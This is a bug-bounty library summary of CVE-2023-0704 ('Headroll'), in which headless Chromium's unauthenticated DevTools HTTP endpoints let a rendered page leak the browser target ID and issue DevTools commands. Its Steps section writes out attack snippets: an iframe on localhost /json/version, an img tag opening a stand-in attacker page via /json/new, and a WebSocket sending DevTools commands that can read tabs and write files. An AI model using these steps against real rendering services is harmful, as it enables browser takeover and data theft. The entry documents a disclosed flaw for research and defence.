# Discovering Headroll (CVE-2023–0704) in Chromium

Headless Chromium's unauthenticated /json/version and /json/new HTTP endpoints let a rendered page leak the DevTools target ID and issue arbitrary DevTools commands.

- Payout: unconfirmed
- Severity: high
- Program: Google
- Credited: Rhys Elsmore, Zac Sims
- Disclosed: 2023-04-05
- Write-up quality: 8/10
- Original: https://canvatechblog.com/discovering-headroll-cve-2023-0704-in-chromium-2e7f66fc130c
- Library page: https://bugbountylibrary.com/r/blog%3Acanvatechblog-com-discovering-headroll-cve-2023-0704-in-chromium-2e7f66fc130c
- Tags: domain:browser domain:web impact:integrity impact:internal-access kind:bounty platform:blog sev:high tech:chromium technique:recon technique:source-review vuln:auth-bypass vuln:cors vuln:info-disclosure

**Target:** Headless Chromium DevTools HTTP/WebSocket endpoints (localhost)
**Root cause:** DevTools HTTP endpoints (/json/version, /json/new) require no auth and are reachable from rendered pages; /json/version leaks the browser target ID, and the WebSocket only checks that ID, so a page can obtain it and connect.
**Steps:**
1. Launch headless Chromium with --remote-debugging-port=0; note random localhost port via lsof
2. Render malicious page containing `<iframe src="http://localhost:PORT/json/version">` to leak target ID via screenshot
3. Use `<img src="http://localhost:PORT/json/new?http://attacker/persist.html">` to open a persistent page for multi-instance jobs
4. From page JS: `new WebSocket('ws://localhost:PORT/devtools/browser/<targetID>')` and send `{"id":1,"method":"Browser.getVersion"}`
5. Issue further commands e.g. Target.getTargets, Browser.setDownloadBehaviour to write files
**How found:** Threat model of Canva's export service identified a trust boundary between designs and embedded external pages; reviewing listening ports of headless Chromium revealed a localhost DevTools port, prompting questions about protocol and authentication, then testing /json endpoints and WebSocket target-ID checks.
**Exploitation:** Attacker embeds external content in a Canva design; when exported, the page loads /json/version in an iframe (CORS bypassed by screenshotting), leaks the browser target ID, then connects to the DevTools WebSocket and issues commands to bypass CORS, read other tabs, open tabs, and write arbitrary files.
**Escalation:** Using /json/new to spawn a persistent page keeps JS alive across jobs and multiple Chromium instances while the target ID is exfiltrated out-of-band via screenshot.
**Insight:** When a service renders untrusted pages in headless browsers, enumerate localhost listening ports and test DevTools HTTP endpoints (/json/version, /json/new) for unauthenticated access; CORS-protected responses can still be read by screenshotting an iframe.
